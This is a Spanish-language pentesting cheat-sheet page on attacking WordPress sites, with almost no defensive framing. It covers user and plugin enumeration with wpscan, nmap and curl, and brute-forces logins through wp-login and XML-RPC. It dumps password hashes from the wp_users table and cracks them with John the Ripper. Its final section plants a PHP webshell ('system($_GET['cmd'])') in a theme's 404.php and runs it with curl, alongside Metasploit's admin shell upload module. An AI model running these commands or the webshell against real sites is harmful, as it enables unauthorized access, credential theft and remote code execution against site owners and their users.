🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • Prototype pollution
    • Type juggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Revisión de código
    • Java
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • Principales rutas y archivos
  • Roles de usuarios
  • Enumeración
  • General
  • Usuarios
  • Plugins
  • Themes
  • XML-RPC
  • Ataques de contraseñas
  • Usuarios
  • Cracking de contraseñas de usuarios en base de datos
  • Upload reverse shell
  • Theme
  • Plugin
  • Metasploit Framework (MSF)

¿Te fue útil?

  1. Explotación
  2. Content Management System (CMS)

WordPress

Principales rutas y archivos

  • General:

    • /index.php

    • /wp-config.php= información requerida por WordPress para conectarse a la base de datos.

    • /wp-content/ = directorio principal donde se almacenan los complementos y los temas.

    • /wp-content/uploads/

    • /wp-content/plugins/

    • /wp-content/themes/

    • xmlrpc.php

  • Inicio de sesión:

    • /wp-admin/login.php

    • /wp-admin/wp-login.php

    • /login.php

    • /wp-login.php

  • /license.txt

  • /readme.html

Roles de usuarios

Rol
Descripción

Administrator

Tienen acceso a funciones administrativas dentro del sitio web. Esto incluye agregar y eliminar usuarios y publicaciones, así como editar el código fuente.

Editor

Pueden publicar y administrar publicaciones, incluidas las publicaciones de otros usuarios.

Author

Pueden publicar y administrar sus propias publicaciones.

Contributor

Pueden escribir y administrar sus propias publicaciones, pero no pueden publicarlas.

Subscriber

Son usuarios normales que pueden buscar publicaciones y editar sus perfiles.

Enumeración

General

wpscan --url http://<target>/ --api-token <api-token> -o wpscan.txt
  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

    • <api-token> = API token.

  • -o = guarda resultado del escaneo en archivo wpscan.txt.

Nmap

nmap -p 80,443 --script http-wordpress-enum --script-args check-latest=true,search-limit=250 <target>
  • -p 80,443 = puertos 80/TCP y 443/TCP.

  • --script http-wordpress-enum = enumeración general.

    • check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.

    • search-limit=200: limite de búsqueda de 250 temas y plugins.

  • <target> = objetivo.

cURL

Obtención de número de versión de Wordpress.

curl -s -X GET http://<target> | grep '<meta name="generator"'

Usuarios

WPScan

wpscan --url http://<target>/ --enumerate u -o wpscan-user.txt
  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --enumerate u = enumeración de usuarios.

  • -o = guarda resultado del escaneo en archivo wpscan-user.txt.

Nmap

nmap -p 80,443 --script http-wordpress-users --script-args limit=50 <target>
  • -p 80,443 = puertos 80/TCP y 443/TCP.

  • --script http-wordpress-users = enumeración de usuarios.

    • --script-args limit=50: limite de búsqueda por los primeros 50 ID de usuarios.

  • <target> = objetivo.

cURL

Enumeración por nombre de usuario.

curl -s -o /dev/null -w "%{http_code}\n" http://<target>/author/<username>
  • <target> = objetivo.

  • <username> = nombre de usuario.

Enumeración de usuarios desde listado.

for i in $(cat <path-usernames>); \
do curl -s -o /dev/null -w "%{http_code}:$i\n" \
http://<target>/author/$i; done
  • <path-usernames> = ruta de usuarios.

  • <target> = objetivo.

Enumeración de usuarios por ID.

for i in {1..10}; \
do curl -L -s http://<target>/?author=$i \
| grep -iPo '(?<=<title>)(.*)(?=</title>)' \
| cut -f1 -d" " | grep -v "Page"; done

JSON endpoint.

curl http://<target>/wp-json/wp/v2/users | jq

Plugins

Desactivar un plugin vulnerable no mejora la seguridad del sitio de WordPress. Es una buena práctica eliminar o mantener actualizados los complementos no utilizados.

Si un plugin está desactivado, aún puede ser accesible y, por lo tanto, podemos obtener acceso a sus scripts y funciones asociados.

Revisión manualmente de ruta de plugins.

http://<target>/wp-content/plugins/

WPScan

wpscan --url http://<target>/ --enumerate p
  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --enumerate p = enumeración de plugins.

Nmap

nmap -p 80,443 --script http-wordpress-enum --script-args type="plugins",check-latest=true,search-limit=250 <target>
  • -p 80,443 = puertos 80/TCP y 443/TCP.

  • --script http-wordpress-enum = enumeración general.

    • type="themes" = enumeración de temas.

    • check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.

    • search-limit=200: limite de búsqueda de 250 plugins.

  • <target> = objetivo.

cURL

curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

Themes

cURL

curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

XML-RPC

Verificación de XML-RPC activo.

  • /xmlrpc.php

curl -X POST http://<target>/xmlrpc.php \
-H "Content-Type: application/xml" \
-H "Accept: application/xml" \
-d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"

Ataques de contraseñas

Usuarios

WPScan

Método "wp-login".

wpscan --password-attack wp-login --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
  • --password-attack = wp-login.

  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --usernames = usuarios.

    • <user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.

  • --passwords = contraseñas.

    • <path-passwords> = ruta de archivo con listado de contraseñas.

Método "xmlrpc".

wpscan --password-attack xmlrpc --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
  • --password-attack = xmlrpc.

  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --usernames = usuarios.

    • <user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.

  • --passwords = contraseñas.

    • <path-passwords> = ruta de archivo con listado de contraseñas.

cURL

Utilizando XML-RPC (/xmlrpc.php).

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{user}</value></param><param><value>{password}</value></param></params></methodCall>" http://<target>/xmlrpc.php
  • {user} = usuario.

  • {password} = contraseña.

  • <target> = objetivo.

Cracking de contraseñas de usuarios en base de datos

MySQL CLI

mysql --user=<user> --password=<password> --host=<target>
show databases;
use wordpress;
show tables;
describe wp_users;
select user_login, user_pass from wp_users;
select concat_ws(':', user_login, user_pass) from wp_users;

John the Ripper

john hashes.txt --wordlist=<path-wordlist>

Upload reverse shell

Theme

Se recomienda seleccionar un theme inactivo, así evitar corromper el theme principal que se encuentra en uso.

Modificación de theme.

  • wp-admin -> Appearance -> Theme Editor -> Select theme to edit -> 404 Template (404.php)

Código webshell PHP
system($_GET['cmd']);

Ejecución de webshell.

curl -X GET "http://{target}/wp-content/themes/<theme-name>/404.php?cmd=id"

Plugin

  • wp-admin -> Plugins -> Plugin Editor -> file.php

    • Activar plugin.

Metasploit Framework (MSF)

use exploit/unix/webapp/wp_admin_shell_upload
AnteriorContent Management System (CMS)SiguienteWebsocket

Última actualización hace 5 meses

¿Te fue útil?

--api-token = API token ().

https://wpscan.com/